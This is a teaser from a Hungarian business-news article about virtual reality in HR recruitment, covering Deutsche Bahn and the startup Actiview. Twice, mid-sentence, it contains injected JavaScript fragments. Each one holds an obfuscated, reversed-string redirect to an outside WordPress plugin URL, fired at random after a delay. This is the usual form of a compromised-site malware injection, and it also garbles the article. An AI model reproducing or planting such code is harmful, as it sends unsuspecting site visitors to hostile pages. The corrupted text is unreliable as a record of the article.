A német vasúttársaság, a Deutsche Bahn négy évvel ezelőtt vezette be a virtuális valóság (virtual reality vagy röviden: VR) használatát az új munkaerő toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toborzása során. A potenciális munkatárs egyszerűen csak felveszi a VR szemüveget, és „néhány másodpercen belül szinte a maga valóságában tapasztalhatja meg, hogy mi is lesz a munkája” – idézte Kerstin Wagnert, a Deutsche Bahn tehetségkutatásért felelős igazgatóját a CNN Business. A VR a legmegfelelőbb munkaerő kiválasztásában is segíthet a cégeknek. Az izraeli technológiai startup, az Actiview kifejlesztett egy olyan toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toborzási platformot, amely a jelentkezők értékelését egy VR felület (interfész) használatával végzi el. A megoldás azt is lehetővé…
A cikk folytatódik: http://sikeresceg.co.hu/menedzsment/2019/04/15/latvanyos-fejlodest-hoz-a-virtualis-valosag-a-hr-ben.html
- Hirdetés -
